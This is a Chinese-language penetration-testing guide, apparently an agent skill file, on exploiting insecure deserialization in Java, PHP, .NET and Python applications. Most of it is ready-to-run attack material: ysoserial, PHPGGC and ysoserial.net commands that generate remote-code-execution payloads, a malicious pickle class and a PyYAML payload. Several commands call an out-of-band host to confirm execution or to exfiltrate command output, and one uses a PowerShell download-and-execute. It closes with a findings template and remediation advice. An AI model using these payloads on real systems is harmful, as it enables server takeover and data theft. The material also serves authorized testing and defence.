利用不安全反序列化漏洞(Exploiting Insecure Deserialization)
适用场景
- 当应用程序处理序列化数据(cookies、API 参数、消息队列)时,在授权渗透测试期间
- 在 HTTP 流量中识别 Java 序列化标记(
ac ed 00 05/rO0AB)时 - 测试对用户控制输入使用
unserialize()的 PHP 应用程序时 - 评估使用
BinaryFormatter、ObjectStateFormatter或ViewState的 .NET 应用程序时 - 在使用 pickle(Python)、Marshal(Ruby)或 YAML 反序列化的应用程序的安全评估期间
前置条件
- 授权:包含 RCE 测试范围的书面渗透测试协议
- ysoserial:Java 反序列化利用工具(
git clone https://github.com/frohoff/ysoserial.git) - ysoserial.net:.NET 反序列化利用工具(
git clone https://github.com/pwntester/ysoserial.net.git) - PHPGGC:PHP 反序列化 Gadget 链生成器(
git clone https://github.com/ambionics/phpggc.git) - Burp Suite Professional:配合 Java Deserialization Scanner 扩展
- Java 运行时:用于运行 ysoserial
- Collaborator/interactsh:用于带外确认代码执行
工作流程
步骤 1:识别应用程序流量中的序列化数据
检测 HTTP 参数、cookies 和请求头中的序列化对象。
# Java 序列化标记
# 二进制:以 0xACED0005 开头
# Base64:以 rO0AB 开头
# Gzip+Base64:以 H4sIAAAAAAAA 开头
# 在 Burp 代理历史中搜索序列化签名
# 在 Burp 中:Proxy > HTTP History > Search > "rO0AB"
# 检查 cookies 和参数中 Base64 编码的序列化数据
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head
# PHP 序列化格式
# 形如:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# .NET ViewState
# ASP.NET 表单中的 __VIEWSTATE 参数
# 以 /wEP...(base64)开头
# Python pickle
# cookies 或 API 参数中 Base64 编码的 pickle 对象
# 二进制以 0x80(协议版本)开头
# 需要检查的常见位置:
# - 会话 cookies
# - 隐藏表单字段(__VIEWSTATE、__EVENTVALIDATION)
# - API 请求/响应体
# - WebSocket 消息
# - 消息队列有效载荷(JMS、RabbitMQ、Redis)
# - 缓存条目(Memcached、Redis)
步骤 2:使用 ysoserial 测试 Java 反序列化
为 Java 应用程序生成反序列化有效载荷。
# 列出可用 Gadget 链
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"
# 生成用于检测的 DNS 回调有效载荷(最安全的测试)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0
# 使用 Burp Collaborator 测试
# 用生成的有效载荷替换序列化的 cookie/参数
# 在 Collaborator 中检查 DNS/HTTP 回调
# 使用常见 Gadget 链生成 RCE 有效载荷
# CommonsCollections(在 Java 应用中非常常见)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
# Spring Framework Gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0
# Hibernate Gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0
# 通过 curl 发送有效载荷
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
-b "session=$PAYLOAD" \
"https://target.example.com/dashboard"
步骤 3:使用 PHPGGC 测试 PHP 反序列化
为常见 PHP 框架生成 Gadget 链。
# 列出可用 PHP Gadget 链
./phpggc -l
# 为常见 PHP 框架生成有效载荷
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b
# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b
# WordPress(通过 Guzzle)
./phpggc Guzzle/RCE1 system "id" -b
# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b
# 通过 cookie 或参数注入进行测试
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
"https://target.example.com/dashboard"
# 通过操纵序列化字符串进行 PHP 对象注入
# 原始:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# 修改:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
# 测试 PHP unserialize 的类型混淆
# 将字符串更改为整数:s:4:"role" -> i:1
步骤 4:测试 .NET 反序列化
评估 ViewState 和其他 .NET 序列化向量。
# 分析 .NET ViewState
# 检查是否启用了 ViewState MAC
# 未保护的 ViewState 以 /wE 开头,可以被解码
# 使用 ysoserial.net 生成 .NET 有效载荷
# (在 Windows 上运行或在 Linux 上通过 Mono 运行)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
-c "curl http://abc123.oast.fun/dotnet-rce" -o base64
./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
-c "whoami" -o base64
# 测试 ViewState 反序列化
# 如果 __VIEWSTATEMAC 被禁用或已知机器密钥:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
-c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64
# 将有效载荷插入 __VIEWSTATE 参数并提交表单
# 检查 .NET 远程处理端点
curl -s "https://target.example.com/remoting/service.rem"
# API 端点中的 BinaryFormatter
# 查找 Content-Type: application/octet-stream
# 或 application/x-msbin 头
步骤 5:测试 Python Pickle 反序列化
在 Python 应用程序中利用基于 pickle 的反序列化。
# 生成恶意 pickle 有效载荷
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle 有效载荷: {payload}")
# 替代方案:使用 pickletools 进行分析
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
# 发送 pickle 有效载荷
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")
curl -s -X POST \
-H "Content-Type: application/octet-stream" \
-d "$PAYLOAD" \
"https://target.example.com/api/import"
# 检查 YAML 反序列化(PyYAML)
# 有效载荷:!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
-H "Content-Type: application/x-yaml" \
-d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
"https://target.example.com/api/config"
步骤 6:确认利用并记录影响
验证成功的反序列化攻击并记录影响链。
# 通过带外回调确认 RCE
# 在 interactsh/Collaborator 中检查:
# 1. 您的回调域的 DNS 解析
# 2. 带有命令输出的 HTTP 请求
# 3. 基于时间的确认(sleep 命令)
# 如果是盲测,使用基于时间的确认
# Java:Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# 测量响应是否额外花费约 10 秒
# 外泄系统信息(仅授权测试)
java -jar ysoserial.jar CommonsCollections5 \
"curl http://abc123.oast.fun/\$(whoami)" | base64 -w0
# 记录 Gadget 链和受影响的库版本
# 检查目标 classpath 中的易受攻击库:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy
核心概念
| 概念 | 定义 |
|---|---|
| 序列化(Serialization) | 将对象转换为字节流以进行存储或传输 |
| 反序列化(Deserialization) | 从字节流重建对象,可能执行代码 |
| Gadget 链(Gadget Chain) | 将现有类方法链接在一起以实现任意代码执行的序列 |
| 魔术方法(Magic Methods) | 反序列化期间自动调用的特殊方法(PHP 中的 __wakeup、__destruct,Java 中的 readObject) |
| ViewState | 用于持久化页面状态的 ASP.NET 机制,通常包含序列化对象 |
| Pickle | Python 的原生序列化格式,对不受信任的数据本身不安全 |
| URLDNS Gadget | 触发 DNS 查询的 Java Gadget,用于安全的反序列化检测 |
工具与系统
| 工具 | 用途 |
|---|---|
| ysoserial | 带有多个 Gadget 链的 Java 反序列化有效载荷生成器 |
| ysoserial.net | .NET 反序列化有效载荷生成器 |
| PHPGGC | 适用于多个框架的 PHP 通用 Gadget 链 |
| Burp Java Deserialization Scanner | 自动检测 Java 反序列化漏洞 |
| marshalsec | 针对各种库的 Java 反序列化利用工具 |
| Freddy (Burp 扩展) | 检测多种语言的反序列化问题 |
常见场景
场景:Java 会话 Cookie RCE
Java 应用程序将会话数据存储为 cookies 中的序列化对象。rO0AB 前缀揭示了 Java 序列化。使用带有 CommonsCollections Gadget 链的 ysoserial 实现远程代码执行。
场景:PHP Laravel Unserialize
Laravel 应用程序通过隐藏表单字段传递序列化数据。使用 PHPGGC 生成 Laravel RCE Gadget 链,在提交表单时实现命令执行。
场景:.NET ViewState 无 MAC
ASP.NET 应用程序禁用了 ViewState MAC 验证。使用 ysoserial.net 生成恶意 ViewState 有效载荷,在页面处理修改后的 ViewState 时实现代码执行。
场景:Redis 缓存中的 Python Pickle
Python Web 应用程序在 Redis 中存储 pickle 对象以进行缓存。通过用恶意 pickle 有效载荷污染缓存,当应用程序反序列化缓存对象时触发代码执行。
输出格式
## 不安全反序列化发现
**漏洞**: 不安全反序列化 - 远程代码执行
**严重性**: 严重(CVSS 9.8)
**位置**: Cookie `user_session`(Java 序列化对象)
**OWASP 类别**: A08:2021 - 软件和数据完整性失效
### 复现步骤
1. 捕获 `user_session` cookie 值(以 rO0AB 开头)
2. 生成有效载荷:java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 编码并替换 cookie 值
4. 发送请求;命令在服务器上执行
### 易受攻击的库
- commons-collections 3.2.1(CVE-2015-7501)
- Java 运行时:OpenJDK 11.0.15
### 已确认影响
- 以 `tomcat` 用户身份远程代码执行
- 服务器操作系统:Ubuntu 22.04 LTS
- 通过反向 Shell 确认内网访问
- 可从应用程序配置访问数据库凭据
### 建议
1. 避免反序列化不受信任的数据;改用 JSON 或 Protocol Buffers
2. 将 commons-collections 升级到 4.1+(已修补版本)
3. 实施反序列化过滤器(Java 9+ 的 JEP 290)
4. 在反序列化期间使用允许列表限制允许的类
5. 在反序列化前对序列化数据实施完整性检查(HMAC)